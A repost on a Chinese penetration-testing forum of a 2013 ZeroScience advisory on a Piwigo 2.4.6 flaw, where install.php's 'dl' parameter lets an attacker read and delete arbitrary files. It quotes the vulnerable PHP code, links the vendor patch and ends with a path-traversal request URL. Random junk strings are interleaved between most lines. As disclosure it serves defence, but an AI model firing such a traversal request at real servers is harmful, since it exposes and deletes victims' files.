中国网络渗透测试联盟
标题:
Piwigo任意文件泄露和任意文件删除漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:15
标题:
Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
# _' Z- m8 T; p7 y/ Y$ z/ c; p
+ ^1 @. g) S- ~0 B7 A6 _. C
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
/ ^2 e P4 `; ]/ u K
====================================================================
6 Z# f8 a1 [' l. o- ^+ ?
/install.php:
r9 \8 ^* Z; N
-------------
. N4 C" U: u) F% [$ z% y
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
: V9 ]: [4 D+ D1 C
114: {
6 V8 N* b5 {% n7 g
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
6 N( E/ y3 d0 p9 t9 V8 G; Y
116: header('Cache-Control: no-cache, must-revalidate');
7 E( W- N- K9 m/ b Y: J
117: header('Pragma: no-cache');
5 R% K+ A/ R6 W# g; o5 h/ i
118: header('Content-Disposition: attachment; filename="database.inc.php"');
* j) e& g! z8 t1 a. u1 S2 k3 A" o6 U
119: header('Content-Transfer-Encoding: binary');
0 J t$ S: ?! S0 S
120: header('Content-Length: '.filesize($filename));
* Z8 q0 M3 X: E- E3 x% U
121: echo file_get_contents($filename);
1 k$ m. T. y8 o3 [; m) x8 M% f! Y
122: unlink($filename);
/ ]. p6 F+ k' y
123: exit();
7 c$ h9 q7 h2 f1 c& P
124: }
4 `2 I- Z+ _# }7 r% [) ^' E& A4 z
====================================================================
5 m2 V! d; U3 h J' [0 k5 S$ e9 f" ~/ N
( ]' j, P1 W$ q5 o; @. Z
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
( p2 ~. w! w! W7 x9 Q. }' W
Apache 2.4.2 (Win32)
. K1 W7 Q+ A' x% j; A! R! p8 M
PHP 5.4.4
# b; p" U. B5 G) r) M+ Q
MySQL 5.5.25a
! A' h+ r: s6 y* k7 \: ~9 ^7 t
8 f: g2 B# u" {! T
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
' @6 c' |- y9 b5 P2 c
@zeroscience
6 r; }6 \1 V6 ]0 s
0 f+ n" c) N. J6 v: _2 N1 @- x
Advisory ID: ZSL-2013-5127
) D3 F8 l7 d- }. n( i
Advisory URL:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
) G- D. W( L) r' G! I" w
Vendor Patch:
http://piwigo.org/bugs/view.php?id=2843
1 F3 r0 ~+ [$ @8 Y/ q( u
8 Z; q2 w. n8 \7 N; a7 a$ Z
15.02.2013
, Q( \1 o$ o y3 l# r2 M" H
7 r+ m- I) V* y
--
. r3 O/ n' o3 d7 }
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
R/ m, n9 m, S4 Q! _
. S c6 S" L0 E, ^
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2